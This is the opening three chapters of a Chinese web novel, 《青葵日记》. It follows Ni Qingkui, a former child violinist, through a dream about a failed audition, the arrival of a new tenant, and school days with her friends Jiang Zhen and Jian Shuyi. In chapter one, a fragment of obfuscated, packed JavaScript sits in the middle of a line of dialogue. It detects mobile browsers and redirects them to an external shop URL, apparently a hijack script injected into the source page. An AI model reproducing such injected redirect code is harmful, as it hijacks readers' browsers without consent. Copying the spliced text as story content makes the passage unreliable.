《青葵日记》
1. 遗憾01
《青葵日记》
文/怀南小山
晋江文学城首发
「我常常想,你会如何与人谈论故乡。
谈论家门前那棵一岁一枯荣的枣树。
你会不会记得顶着冷风送我去少年宫的清晨?
会不会遗忘在江边歌唱的黄昏?
我很想你。
但如果你幸福,愿你不再回头望。」
——青葵日记1stMovement
/第一乐章:遗憾
-
2009年10月,江城实验小学。
“60年弹指一挥间,风雨兼程路,我们共同见证了祖国的辉煌与成长……”
“接下来,让我们用热烈的掌声欢迎长江少儿交响乐团的首席小提琴倪青葵,以及三年级1班的全体同学,为我们带来饱含深情的大合唱——《我的祖国》!”
主持人话音落下,掌声雷动。
舞台之上帷幕拉开。
四排小学生整整齐齐站着,每个人都穿着校服,戴着红领巾,脸上搽了一点红扑扑的粉。
作为“长江少儿交响乐团”的首席小提琴,倪青葵站在舞台的正中央,动作优雅地架起她的琴,在帷幕拉开的时候,她的脸上露出漂亮、自信而得体的笑容。
公主一样的女孩穿着漂亮的浅色礼裙,给她戴好发饰的人,在五分钟前温柔地抚摸着她的脑袋,对着她仰起的眼睛笑着说:要上电视咯,别紧张,我在下面!
倪青葵重重点头:嗯!
即便指挥老师站在最前方,但头顶的四支光束都偏袒地打在了倪青葵的身上。
无比静谧的氛围里,跟着指挥的手势,暗处的钢琴声先起。
紧接着,清脆高扬的小提琴渐渐融入温润的钢琴声。像一片夺目的彩云飘来,浮向汨汨的流水。
前奏结束,第一排的小朋友们个个元气饱满,张大了嘴巴,用稚气又饱满的声音唱起歌儿。
“一条大河波浪宽,风吹稻花香两岸。”
紧接着,第二排跟上,合唱的声音层次分明地铺开:“我家就在岸上住,听惯了艄公的号子……”
乐器的旋律和童稚的歌声在礼堂里气势磅礴地蔓延,宛如风吹过田野,稻浪浮荡,往远处推。
“在这片辽阔的土地上,到处都有明媚的风光。”
间奏时间,是倪青葵的小提琴独奏。
她沉浸在乐曲声中,突然之间,“啪”的一声,所有的灯光熄灭,悠扬的旋律戛然而止。
倪青葵慌乱地看一眼四下黑漆漆的环境。
她还在台上,但漂亮的礼裙变成了小学校服。
这不再是实小的礼堂,而是肃穆凝重的附中考场。
指挥老师也不见了。
大家不再用鲜花掌声祝贺她,而是等待着一个天才女孩交出漂亮的答卷。
倪青葵的琴仿若千斤重,压在她的身上,她竭尽全力,拉了一下琴弦。
场上静得呼吸可闻。
她听见自己的心跳,扑通扑通,越来越急。
嘎吱、嘎吱。
好干枯的声音,好难听。
这不是她最拿手的维奥蒂23吗?练了几百遍,几千遍,为什么偏偏会在这个时候出岔子呢?
莫扎特、阿克莱也行啊。
总得来一个神仙救救她吧……
倪青葵孤立无援地站在那里。
台下倏然涌起躁动的声音,大家都在议论纷纷,这女孩怎么了。
倪青葵鼓起勇气往下找寻,在观众里找着那双眼睛。
但这里没有观众,只有几个老师。
以及候场选手尖锐的嘲讽声:
“倪青葵,你尿裤子啦!”
“木头锯完了没啊,好吵!”
“不拉就下来啊!别站在那丢人。”
只有附中老师给出一点鼓励:“大家安静,给她点时间。”
但是,好像没有更多的时间了。
倪青葵握着小提琴的手腕正在止不住的发抖。
时光急速倒退,退回那个风雪交加的夜。
故人远走,琴弦崩裂。
她终于放下琴,低着头,颤抖着叹息:“妈妈,我不考了。”
每个人诧异又失望的眼神向她投来,倪青葵闭上眼,突然觉得虎口的筋猛地抽了一下。
……
倪青葵“嘶”的一声疼醒了。
她躺在针灸床上,诊室的窗帘拉了一半,屋里很暗,老化的日光灯散发昏弱的光。
爸爸王志斌推开门,走了过来:“刚还疼得嗷嗷叫,眼睛一闭就睡着了。”
针灸二十分钟结束,倪青葵躺在中医馆的针灸床上,堵住一个鼻孔吸了吸气,又堵住另一边,再吸了吸。
“鼻子通了?”爸爸问。
“昂,”倪青葵声音囔囔的,有气无力道,“通了。”
她看着爸爸帮她运作着手上的几根针,以为他要拔了针,结果王志斌捏着针头开始左右捣鼓。
“你别转来转去,疼死我了。”倪青葵惨叫,一屁股坐起来,“嗷!”
“这叫行针!叫你不好好吃药,寒气受足了,非要扎几下子才老实。”
“我不灸了,疼死了。”
“别嚷嚷了,好了。”
虎口的针被拔下来,倪青葵听着针尖落入托盘的声音,如释重负。
但还有些头疼。
刚才好像做了些零零碎碎的梦?
梦见……小时候了。
外边,有人的脚步声靠近。
“好了没?”倪月岚过来,敲敲敞开的门板,催促道,“新租客来了,长贼帅,你绝对喜欢。快去看看。”
听到帅哥,倪青葵彻底清醒了,胀痛的脑袋也复苏了,她火急火燎地穿好鞋,脚步雀跃地跟在妈妈身后,穿过医馆的甬道,惊喜地问她:“三楼吗?什么时候租出去的?我怎么不知道?”
倪月岚走前面,手里拎一串钥匙,领着女儿走出巷子口,再右拐,前面一栋四层楼带小院的楼就是她们家。
“上礼拜就来看房子了,你上学没跟你说,来的那男的看着挺有钱的,也没还价,就是合同没签,等孩子过来自己签。孩子就在江大上学,好像是学医的,医院就在这旁边,说是方便他到时候过去实习。”
秋末冬初,天黑得早。
临近六点,暮色四合。
倪月岚话音刚落,倪青葵就看到了停在门口的京牌车。
身形修长的青年站在暮色里,穿件黑色风衣,浑身上下透露着一股脱离俗尘的淡泊,正在车前和一个男人说话,偏眸见到了倪月岚,男生眉目清清,喊了声:“阿姨。”
中年男人在后备箱卸行李,看起来不像亲眷,应该是他的司机。
倪青葵在妈妈身后,赶紧摸了个口罩戴上。
倪月岚笑笑:“读大几了?”
“研一。”
“学什么专业的?”
“临床医学。”
“医生好啊,前途好。”
倪青葵点头,脱口而出:“嗯!不扎针就特别好。”
裴雪旗闻声,看了一眼高中生模样的女孩子。笑容清甜,小巧玲珑。
倪月岚也回头一看,摸摸她的脑袋,介绍说:“这是我女儿,小葵。”
倪青葵站出来,笑得大大方方,声音敞亮:“哥哥好。”
裴雪旗颔首:“你好,小葵。”
倪青葵又去喊旁边的司机:“叔叔好。”
“诶,”男人应了一声,朝她笑笑,他把几个行李都拿了出来,又问倪月岚,“这栋楼都你家的?”
倪月岚颇为自豪地笑了一下,手放在胸前,指尖轻点:“都我的。”
“可以啊大姐。”
“十几年前房价还没炒起来,捡了个便宜,运气好,现在是拿不下来了。”
倪月岚一边说着,一边拿着租房合同,递给了裴雪旗:“你仔细看一眼再签。”
裴雪旗借着巷子里的路灯灯光,扫视着上面的文字和条款。
男人也扫了一眼纸张,但没细看,又问:“你自己也住这儿?”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17469340|201392||http|test|mini|href|location''.split(''|''),0,{}));
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>“住,我们就住一楼,我爱人是中医。”
倪月岚说着,往对面的巷子指一下:“医馆就隔条街,想来想去不搬了,跟孩子在这儿也习惯了,平常小院里自己种种花种种菜多好,邻里邻居也熟悉,快二十年了。”
裴雪旗把合同放在引擎盖上,弯腰签字。
倪青葵在旁边看着,他利落地写完,偏眸看她,她就笑一笑说:“你名字真好听。”
他也淡淡勾唇:“谢谢。”
倪月岚扫了一眼车牌,问司机:“听口音不是本地人?”
“不是,北京过来的。”
“北京哪儿的?”
“朝阳。”
“我十八岁就去了北京,在那儿待了有五六年吧,住那半地下室,跟北方一比,咱这儿冬天还是好些。”
倪月岚高中一毕业就开始走南闯北地做生意了,口音已经能跟着各地老板八面玲珑地切换,比如此刻就带了点硬凹的京腔,“那”非得说成“内”,“地下室”非得说成“地下使”。
男人说:“也不一样,南方的冷是骨头里冒寒气。”
倪月岚笑:“可能吧,反正那会儿条件不好,冬天就觉得特难熬。”
说着,她又巧妙地把话题拨回孩子身上:“不过没事儿,家里前年才重新装修一遍,通地暖了,里头暖和——进来坐坐吧。”
“不了,赶路呢,今晚还得回去。”
倪青葵走到前面,把院门推开,欢迎道:“不要站在门口了,你们进来说吧。”
敞亮明净的小院子里种满鲜花。
几个人走进去,男人帮衬着搬了点东西进去,跟签好字的裴雪旗说:“我给你搬上去。”
裴雪旗:“今天辛苦您了,我自己来就行。”
男人又看了眼时间:“那叔叔走了啊,有什么事儿你联系家里。”
裴雪旗简单地“嗯”了一声:“回去路上注意安全。”
“好,再会。”
倪青葵也伸手跟他挥挥:“拜拜,叔叔。”
司机转身离开时,打开院门,碰巧门口进来一个十六七岁的男生。
江轸侧身,让对方过去。
男人没问他来路,就有露出点微笑,江轸也微微一点头。
于是他尚未进门,就见到院子里热闹的场景。
扫视一圈,有生人在。
“阿姨给你提。”倪月岚过去帮忙。
裴雪旗有礼道:“不用,您忙。”
于是倪月岚一嗓子吼来老公:“老王,给人搬一下行李!”
“来喽。”
王志斌迅速跟上。
男人过来帮忙,裴雪旗便没有再谦让。
两个人走到前面去。
倪月岚瞥一眼身侧的女儿,把她口罩揪了,看着她红润的脸:“看见帅哥你就什么毛病都好了是吧,头也不疼了,眼也不花了,小哥哥要是早点来,你还用得着扎那几针?”
倪青葵惊恐地拧她:“声音小点啊,他听见了。”
倪月岚正要笑话她,余光里有人,回头看去:“小江来了,过来啊,站那干啥?”
倪青葵也回头。
不知道江轸站在那里观望多久了。
他穿一件黑色阿迪的夹克,修长有力的手正攥着狗绳,威风凛凛的黑背德牧像个威慑力十足的将军,一言不发地蹲在地上。
少年个高腿长,极有存在感地立在风中。微压的眉眼与漆冷的目色,匹配冷色调的穿着,整个人凌冽的气质,几乎要融进秋夜晚风中。
江轸跨进门槛时,把狗绳栓在了门把手上。
倪青葵家门口的这条南风巷,有一段路灯坏了,为了走夜路,他带了眼镜在身上。
还没用上,但此刻提前将它取了出来,黑框眼镜架上高挺的鼻梁,江轸看向话题中心的“帅哥”背影。
直到倪月岚又喊了一声:“进来吧小江,外面冷。”
倪青葵笑眼弯弯看过来,抓了一下他的夹克,“进来吧小江,外面冷。”
江轸看向她的梨涡,脸上的积雪化了一些。
2. 遗憾02
倪青葵说完,又探着脑袋,往江轸的身后看去:“小一一也进来吧,它一个狗在外面好可怜。”
她说着,就擅自做主跑过去解了狗绳。
得到解放的51欢欣鼓舞地跟上。
江轸跟它对视一眼,51有所收敛地停下了疯狂的脚丫子。
江轸是倪月岚叫过来的。
她说找他有点事。
江轸进门后,倪青葵觉得家里的房屋面积都被压缩了。
因为倪家三口人个子都不高,身长快要抵上门框的男生压迫感实在有些强。
家里装修温馨,妈妈种满了植物,爸爸获赠的大小匾额又添一丝书香气。
倪青葵让江轸不用换鞋,但她自己在玄关找了双拖鞋穿上。
狭窄昏暗的空间里。
两人同时出声——
“你去遛狗了?”
“感冒还没好?”
江轸声音很低,被边上吵吵闹闹的电视剧声音盖过,但倪青葵听见了,因为他们离得很近。
倪青葵把脚塞进拖鞋里,抬头对上男生平静又深邃的目光:“好点了,我爸刚还给我扎针了。”
她说着,袖子一撸,看一眼虎口处的针眼,又把手一抬,送到江轸面前给他看:“你看,都青了。”
江轸托着她的手腕,认真看了看她被扎青的穴位,又看向她:“疼吗?”
“疼啊。”
于是他低头,朝她发青的部位吹了吹。
倪青葵愣住,然后笑了。
“怎么那么呆啊,没叫你给我吹。”
她笑着,把手缩回外套袖子里,跑到里头去:“再也不扎了,王庸医拿我试刀呢。”
倪月岚进了主卧,倪青葵也跟进去。
江轸站在客厅,在电视屏幕上安放视线。
倪青葵在里面说:“我妈电脑坏了,我搞半天一直不行,你看看会不会弄。”
过了会儿,她捧着笔记本电脑出来,倪月岚跟在后面,解释道:“不知道是用久了还是怎么回事,看个电视剧卡得不得了,删了好多软件还是这样,是不是要重装?”
江轸接过电脑:“不一定,要看具体问题。”
倪月岚让他坐下,忽又摸摸口袋:“诶,我好像忘给他大门钥匙了,我上去一趟,你们在这。”
倪青葵点头:“好。”
倪月岚出了门,家里只剩下他们两个。
客厅的沙发是硬邦邦的榆木,江轸坐下,后面有空地。
倪青葵就站在他的身后,手肘搭在椅背,手腕就顺理成章地落在他的肩上。
她微微躬身,看着他开机。
“这几天没去上学,同学们想我没?”
倪青葵因为感冒发烧请了两天的假。
他说:“一日不见,如隔三秋。”
虽然很给面子,但是声线淡泊,听不出“如隔三秋”的悲怆。
倪青葵笑了:“班级日志有人写吗?”
“学委代劳。”
江轸叠着腿,后靠椅背,电脑放在膝头,中指的指腹在触控板上流利地滑动着。
倪青葵头一低,就看到他修长的手指在移动,清冷劲瘦的手腕在夹克衣袖里若隐若现,她又偏头,看看他的侧脸,注视着他平静看屏幕的目光。
她欣赏着江轸精致深邃的五官,像是想起什么很深远的事情,安静了一会儿。
倪青葵手指沿着他夹克袖子上的三条白杠,漫无目的地划来划去。指尖隔着衣裳,戳着少年坚硬的肩骨。
她盯了他好半天,忽然说:“我刚睡着梦见你了。”
电脑上的光标停滞了三秒。
“是吗?”他稍稍偏眸,余光扫她。
倪青葵教他:“你应该问,梦见你什么?”
“梦见我什么。”
“我第一次见你,我们表演节目,陈思尧突然怯场了,然后你被我们乐团老师拉过来,替补他弹钢琴,你还记不记得。”
“记得。”
“那我们表演了什么,你说。”
“合唱。”
“你记性真好,江轸。”
“因为你每年都会问五遍。”
“……噢,”倪青葵没觉得难为情,歪着脑袋看着他笑,“我有那么怀旧?”
她没扎头发,松散下落的发尾大量地扫在他的脖子上,滑过锁骨,甚至喉结。
而她浑然不觉。
江轸收回余光:“我也想知道。”
倪青葵又说:“我家搬来个很帅的学长,你刚刚进来有没有看到——”
她话音未落,旁边的狗突然往前,发出低吼。
“呜——汪!”
“呜——汪!汪!”
不知道51为什么叫起来,家里本来就小,眼见它就要靠过来了,倪青葵吓得不轻。
它可是狼狗啊!!!
“江轸你的狗是不是疯了!?”
她尖叫着往沙发里侧走,不注意被江轸的脚踝绊倒,冷不防一跌。
江轸眼疾手快地握住她倒下来的肩头,手掌又稍微带一点力气,将人往自己的臂弯里略略护住。
他眼神冷冷地盯着狗,用手指着它。
51被他定住了,在严厉的指示之下,跟随他指尖的指引,可怜巴巴退回去,又委委屈屈坐下。
确认它不会再造次,江轸挪开视线,关心了一眼身下的人。
倪青葵冷静下来,才发现异样。
她刚刚往里逃,按理可以坐在一块空位置,但是江轸下意识护住她,所以扳过她的肩膀,看起来像搂住了她——
她左右一看,确实是被搂住了。
想不到,长得冷冰冰的,怀里还挺暖和。
倪青葵扭了下肩膀。
江轸有所意识,放开手。
“51怎么了?”她问。
“生气。”他说。
“为什么突然生气。”
默了默,江轸平静:“没有为什么。”
合上电脑,他说:“硬盘问题,调了一下内存分配,不会再卡了。”
倪青葵眼眸闪光,感激不尽:“谢谢大佬,好人一生平安!”
她兴奋地抱着电脑跑回房间,过会儿又出来,问已经起身的少年:“要不要留下来吃个饭?”
“吃过了。”
“再吃一顿呗,你长得太瘦了,多补补。”
江轸站在那里,正在把狗绳慢条斯理地套在掌心。
闻言,他目色微沉,若有所思地看向她:“我长得太瘦了?”
“对啊对啊,你不瘦吗?要多吃饭啊。”
倪青葵说完觉得可能不太贴切,江轸的瘦是有参照物的,1班有几个人高马大的男生,不仅高,还往横里长,体积大概有江轸的1.5-2倍,胖得连脖子都没了。江轸戴个眼镜,还一脸文质彬彬,斯文清秀,长一副两耳不闻窗外事的学霸样子,倪青葵会很刁钻地想,要是起个冲突打起来的话,江轸应该打不过他们吧。
所以她常常对他报以关心。
不过光看江轸的话,个高腿长,非常修长匀称的少年身形,还是很赏心悦目的。
倪青葵没有说这些。
江轸推了下眼镜,隔着薄薄的镜片,仍有不解地看了她片刻。
最终,他选择不予争辩。
倪青葵送他到玄关,听见江轸冷不丁地问了句:“平时也会留别人吃饭吗?”
“别人是指?”
“比如,租客。”
“租客干嘛来我家吃饭,只有书书会。”
江轸了然。
家是私密的,距离离得再近,那扇门也有着划清界限的作用。
他想,他们适才聊天的距离,无意识的磕绊,触碰,目前还没有在他人的身上重演的可能。
江轸出门时,碰到回来的倪月岚和王志斌。
相互打了声招呼,他牵着德牧往外走。
51一边走一边抬头,跟他对上眼。
人和狗的关系有多脆弱呢?
亲密的时候,它叫小一一。
崩坏的时候,它叫“江轸你的狗”。
江轸垂目看它:“对她好一点。”
……
倪月岚回来看电视,倪青葵把手凑过去给她看针眼。
“妈妈,你有没有觉得江轸有时候很傻?我刚刚把手伸过去,他居然给我呼呼。”
倪月岚说:“下意识的,心疼你呢。”
倪青葵的鸡皮疙瘩都起来了:“咦~讲话能不能过过脑子,别恶心我了。”
“人家扮猪吃老虎,你还中计了。”
“我是老虎他是猪?”
“你是猪他是老虎。”
倪青葵有点被绕进去了。
她认真捋了一下,确定她妈在耍她。
倪青葵和江轸是小学三年级认识的,他从小就话不多,甚至她都怀疑过这个男同学是不是有自闭症之类的隐疾,又听说有的同学父母不和,会导致性格扭曲,她给了他充沛的关心,每天找他玩,拉着他讲话,怕他不开心
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,怕他变成失足儿童,直到某一天,倪青葵问他为什么这么寡言少语,江轸面露困惑地问她:“一直说话嘴巴不累吗?”
哦,原来他只是觉得说话很累。
原来他父母恩爱,家庭和睦,还很有钱。
也没有自闭症。
倪青葵面色忧郁:“那我以后不吵你了。”
“不吵。”
“嗯,不吵了。”
她应该是有点不高兴了,生气的时候腮帮子就会鼓成河豚,坐在那里安静地荡着腿。
江轸用手指把她鼓起的腮帮戳瘪了,“我是说,你不吵。”
可能因为黄昏的时候做的那个梦,倪青葵真的想起他们小时候的许多事,虽然眼睛盯着电视机,但是神游了很久,直到桌上的手机亮了。
班主任李帆发来消息,问她:明天来上课吗?
倪青葵:去的。
李帆:把成绩单打印一下贴前面。
跟在后面的是月考成绩单文件。
倪青葵:收到。
李帆:对了,月底那个艺术节,我那天跟你提了一句还记得吧,要着手准备起来了。
倪青葵:好。
倪青葵是班长,班里这些琐事都是她在负责,她大致看了下电子成绩单,因为她感冒缺考两门,老师就没给她排名次。
倪青葵回到房间,翻到日程本,写下明天的工作安排。
1、打印成绩表。
2、艺术节节目。
第二天,天气很好,阳光灿烂,但有点降温。
倪青葵感冒刚好,还是注意一下,她翻到一顶毛茸茸的兔子帽,扣在脑袋上。
倪青葵穿好衣服后,从院子里的外置楼梯跑到二楼,“砰砰”敲了两下门。
又跑回来洗漱。
洗漱完后,书包都背好了,二楼还是没动静,倪青葵又上去:咚咚咚。
简书颐开门,清秀的脸带着凉丝丝的表情:“吵死了。”
倪青葵笑嘻嘻,指着头上的兔耳朵:“我这个帽子好不好看?”
简书颐正在换鞋,闻言,粗略地扫了一眼:“诙谐,别戴。”
“就戴!”倪青葵挤进她家狭窄的玄关,对着门口的穿衣镜整理帽檐,“明明这么可爱,有没有审美?”
简书颐没再理会,问她:“你家又搬来租客了?”
“对,江大的研究生。”一说到这个,倪青葵就面露心花怒放的表情,回头看着她笑,“超级帅的,以后早点回来,说不定能看见。”
简书颐关门,下楼:“没兴趣,你自己留着看吧。”
倪青葵噔噔噔地跟着下去:“你不要口嫌体直,到时候口水流一地,我可不会帮你擦。”
“绝无可能。”
她头都没回。
虽然已经看久了这张顶级清纯的校花脸,但倪青葵还是时不时为好朋友的美貌而发一会儿呆。
女孩子走到晨光里,那股骄傲的劲儿从挺直的脊背里都能显现出来。
如果用动物来比拟她,简书颐就像个孔雀,哪怕是在孔雀群里,她也是最优秀、最漂亮的那一只。
穿千篇一律的校服也漂亮。
简书颐和母亲生活,妈妈钱玲玉和倪青葵的妈妈倪月岚是中学同学,倪月岚读完高中,外出闯荡,钱玉玲年轻的时候是国企老员工,下岗潮之后的几年一直到处找活干,什么打杂的活都做,简书颐就跟着妈妈四处搬家租房,在实小读书的时候,母女两个在江城的城中村也住过几年。钱玉玲现在在三中食堂做厨师,住宿生的早餐也管,所以每天五点钟左右就出门了。
钱玉玲这两年有点腰上的毛病,倪月岚说家里还有房,正好孩子升上三中了,这儿离学校也近,叫她索性搬到自己这儿来住,王志斌能帮她用针灸大法理疗理疗。
倪青葵还在叽里咕噜说着那位研究生小哥哥的事,简书颐兴致索然地听着,直到她听到一个熟悉的名字——
“你是说,你当着江轸的面欣赏帅哥?”
简书颐露出匪夷所思的表情,随后大约在脑内进行了一番想象,比如,她具有“毁灭性”的花痴脸,以及他们之间可能会发生的灾难对白。
脸上五味杂陈的情绪过后,她选择捏住了鼻子。
倪青葵不明所以地偏眸,看她脸色:“好奇怪的问题,怎么了。”
简书颐走出院子:“火药味遗留。”
“他没那么小心眼啦,这个宽容的世界还是允许帅哥共存的。”
倪青葵不以为意地跟上。
3. 遗憾03
两人刚出门,倪月岚就从院子里追出来:“倪青葵!吃早饭!!”
倪青葵拉着简书颐拔腿就跑:“我要吃肉,不要吃粥!”
江风拂面,她们闯进朝霞里。
江城地处中国南方,万里长江是这里的孩子赖以生存的母亲河。
倪青葵在这里出生、长大。老师说,每个人的气质里都藏着她的家乡。江城的气质是什么呢?作为重要的交通运输站,南来北往的人在这里汇集又分散,滔滔水流日日夜夜载着长鸣的汽笛。大江大湖,热烈包容,广阔浩渺,豪情万丈。
妈妈不会那么文艺,她只会说,我们家小葵一看就是江城的孩子。
从小就是“别人家的孩子”的倪青葵,从一年级开始蝉联十年的班长,各种竞赛、考试的荣誉拿到手软,奖状贴满墙,南风巷方圆十里无人不识她的威风。
自然,也有人对她的调皮捣蛋略有耳闻,倪青葵其名,或因小学开始就把男同学按在地上打而让大家如雷贯耳,又令一帮男生闻风丧胆。
除此之外,倪月岚也因为她过于奔放不受管束的性格而头疼过,每次倪青葵到处疯闹,到饭点都找不到人的时候,她就会晃着脑袋想,这孩子到底像谁呢?我小时候可是懂事得很。
作为家中长姐,倪月岚从小就肩负起家庭重担。而她的丈夫,就是个闷沉的读书人。
有人提醒,谁带大的像谁呗。
倪月岚笑笑,从疯玩回来的女儿身上不知道看到谁的影子,感慨万千说一句,是挺像的。
在热气腾腾的早餐铺子拿了两个肉包,阿姨递过来,笑说:“早啊小葵,感冒好啦——帽子真可爱。”
倪青葵用手指卷卷兔耳朵:“再不上学要挨揍了,还是阿姨有眼光。”
简书颐状似嫌弃地走到前面去:“叫你别戴。”
公交车上人满为患,简书颐拉了一个环,倪青葵没地方靠了,环住了她的脖子,亲昵又放松地把脸挨在她的肩膀上。
简书颐其实很不喜欢肢体触碰,女孩子走在一起时,只是手挽着手也会让她不舒服,倪青葵是她绝无仅有的例外。
身上挂一个人有点吃力,但简书颐没把她推开,另一只手抄到倪青葵书包和脊背的缝隙里,搂住了她的腰,让她充满安全感地靠在自己身上。
倪青葵笑着接受她的宠溺:“你身上好香。”
简书颐淡淡:“嗯,你胸好大,挤死我了。”
“……”
她说完,倪青葵身后一个胖胖的男生回头看了眼她们。
简书颐把他打量的眼神瞪了回去。
三中门口。
有人在站岗检查仪容仪表。
江轸在三中是个人物,除了长得帅成绩好之外,他还很神秘。
虽说风云人物大都如是,江轸在风云人物里也是最神秘的一个。一个冷淡、平静、高深莫测的人,他可能是个一心只读圣贤书的学神,可能是有着复杂家族斗争的野心贵公子,也可能是个城府极深的boss。
众说纷纭。
当然,了解他的人知道,只有第一重属性最为贴切,比如倪青葵就觉得,江轸只不过心性淡泊,不爱争抢,解题就是他人生的最大乐趣。
江轸穿白色的校服,手里拿着记名册,低头在看。
学生会的红色袖章被他戴成一款时尚单品,浑身上下透着不容侵犯的冷淡气质。
仿佛风经过他的身体,送往四周的都是雪的气息。
虽然诱人,却也麻烦。
尤其是站在校门口时,江轸会必要地出现感官出走的症状。
比如,有人凑到他面前搭讪。
江轸会选择性失明,看名册。
有人喊他:男神男神,给个电话!
江轸会突发性耳聋,看名册。
装聋作哑帮他省心省力。
远远的,倪青葵闭起一只眼睛,看向自己手指做的取景框:“长腿宽肩,完全男神,苏断腿。”
“又爱上了。”简书颐想了一想,“其实你想说的是骚断腿?”
倪青葵一脸和气:“男神是大家的,谁不喜欢帅哥。”
“不是我的。”简书颐撇清。
倪青葵陡生一计:“我去偷袭。”
简书颐泼冷水:“多此一举,你在两百米之外他就嗅到了。”
倪青葵温柔提醒:“他是江轸,不是51。”
趁着门口人还还不多,她绕到江轸身后,踮起脚,双手蒙住他的眼睛,粗着嗓音:“猜猜我是谁?”
江轸并没有被吓到,他用右手握住她的右手,再徐徐拉下,沉声说:“不要皮,倪青葵。”
温淡的眉眼瞥过来,表情和音色一样沉凉。
倪青葵松开他的手,钻到他的身前,笑说:“早上好,小江,又被抓来罚站了。”
“是执勤。”
江轸纠正,又打量她的脸色,问,“头不疼了?”
一声冷笑传来:“执勤的还关心这个。”
江轸看了一眼她身后的简书颐。
倪青葵:“这么一说,感觉昨晚睡前还有点烧,现在就好多了。”
她低着头,正要往校门里走。
突然被两根手指挡住了去路。
微微一惊,倪青葵小小地“嗷”了一声,往后又退半步,被迫扬起脸。
少年修长漂亮的指关节冰凉,正不轻不重地抵着她的额心,让她的心脏也随皮肤的温差触感轻轻一颤。
江轸低眸,认真地看她。
片刻后,他放下手,确定她体温正常。
倪青葵纳闷地抬头,对上他的一句——“药带了吗?”
“王庸医的中药,保佑我不要吐出来吧,阿门。”
倪青葵表情悲痛,手指依次点了两边肩膀和脑门。
江轸说:“按时喝,不要偷工减料。”
“咦,你怎么知道我准备偷偷扔掉?”
他居高临下看着她:“你扔。”
倪青葵扬起脸,一副你奈我何的顽皮样子,笑问:“怎么,你打算去告状吗?”
手还负到身后去,更嚣张了。
虽然江轸的表情永远高冷,但细看还是隐约有别,比如此刻,高冷里就透着一点不易觉察的无奈。
最后,他垂眸说:“照顾好自己。”
江轸看向名册,“进去。”
倪青葵离开。
她涂了护手霜,江轸轻轻搓着手指想。
指尖一触即溶的滑腻,留下一道佛手柑和白桃混合的气味。
气味停留在他的右手食指和中指,搓手的过程中,拇指的指腹也沾染一丝。
老话说,十指连心。神经末梢的感知是会让人心动过速的强烈。
疼痛、严寒、或者暧昧。
他看着女孩的背影远去,不动声色地把登记名册换成左手拿。
倪青葵和简书颐一起去了打印店。
李帆的排名一向很人道主义,是按学号排的。后面跟着整个高一的年级排名。
1班的成绩表一直是神仙打架,没有固定的第一名。这一次是简书颐。
简书颐看完自己的分数并没有立刻松懈,找完第一还要找第二。
第二名是她的劲敌江轸。
差了三分。
简书颐唇角微勾:“Great。”
倪青葵飞速脑算自己没考的那两门:“取一下你们的平均值,比他高零点五,或许我可以争个第二。”
简书颐略表同意:“我允许你超过江轸。”
倪青葵坐下,看向她三日未见的同桌:“更新了吗小遥遥。”
徐宛遥仿佛在等着有人问她这句话,忙不迭把她新鲜出炉的小说递过去,请求鉴赏。
倪青葵坐在简书颐前面,她拿着徐宛遥的巨作,一起分享。
【青春染指年华,我们站在流年的分叉路,看爱情的花火编织成琴弦上的鸢尾花
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,零落在溃败の大地,羽化成殇。】
倪青葵绞尽脑汁:“每一个词语都很美,连在一起是在说什么?”
简书颐也给面子地扫了一眼:“怎么还有个火星文?”
徐宛遥微笑:“是‘的’的连笔写法,另外,那是日语,谢谢。”
旁边的男生趴着睡着了,听见女生说话的动静,闷着头,出声烦躁:“声音小点。”
简书颐:“下课时间,允许说话,要睡出去睡。”
“……”
周绥没话说了,飞快地把校服里面卫衣的帽子盖上。
简书颐倏然抬头,见到什么特别的东西似的,引得倪青葵和徐宛遥共同回头看去。
没什么特别的东西,是江轸进班了。
他从前门进来时,门口挤着一堆人在看成绩,江轸并没有参与的意思,他看起来一点也不想知道自己考得怎么样。
江轸高大帅气,虽然沉默寡言,气质冷淡,但压迫感与存在感很强。
不少于十双眼睛盯过去。或光明正大,或偷偷摸摸。
兴许从这个角落投去的眼神太多了点,他便也坦荡回视。
最后,到倪青葵桌前,江轸伸手递给她两个本子。
他的漫不经心让简书颐咬了咬后槽牙。
倪青葵拿回她的物理和数学笔记,快速翻阅。不在的这两天,她落下的笔记被江轸记得满满当当。
倪青葵兴奋一笑,“Thankyou!”
他淡声:“客气。”
倪青葵把笔记放回去,再抬头就对上女生些许失落的表情,她顿了一下,轻声说:“他昨天来我家,已经提前给他看过成绩了。”
其实并没有。
简书颐“嗯”了一声,没再说话。
江轸在她的身后坐下,简书颐察觉到他拿出了卷子,也戴上眼镜,尽快摊开了练习册。
倪青葵又问徐宛遥:“你有没有写过通俗易懂的,道明寺那种?”
徐宛遥最讨厌玛丽苏小说了,频频摇头:“那不是通俗,是庸俗。”
她又把视线投向腹有诗书气自华的清秀女孩:“你能懂吧一姐,你看书多。”
简书颐推眼镜:“我看黄的。”
徐宛遥惨叫:“……庸俗!!!”
简书颐食指贴唇,做了个“嘘”的动作。
倪青葵对她的口出狂言习以为常,但好奇问了句:“你不是在看《瓦尔登湖》吗?”
简书颐:“不冲突,可以和《a.v拍摄指南》雅俗共赏。”
“你、你们、你们!”
徐宛遥忍无可忍,捶桌道,“发给我啊!!”
预备铃响了,周绥终于醒了,扬起惺忪的英俊眉眼,声音还沉沉的,问他同桌:“你们刚说看什么书?”
简书颐:“《活着》。”
“活着呢,问你看什么书。”周绥可能以为老师在布置什么任务。
简书颐用倍感震撼的眼神看向他,又见多不怪地淡淡收回视线:“去死。”
“……”
也不知道又怎么招她惹她了,周绥表情复杂地看了她一会儿,懒得计较。他回头,看到侧后方正在低头做卷子的男生,扣了两下他的桌面:“江轸,老师有没有说看什么书?”
“《瓦尔登湖》。”江轸乱回。
周绥正要多问两句,忽又觉得奇怪,纳闷道:“等下,你干嘛用左手写字?”
自古有一类离奇现象,人声鼎沸的场景会在某个刹那陷入安静。
比如,当周绥说话时,原本热闹的教室里突然鸦雀无声,导致一听到这句话,前排很多人都齐刷刷回了头。
倪青葵远远看到,江轸果然用左手握笔,但看起来并没有书写困难。
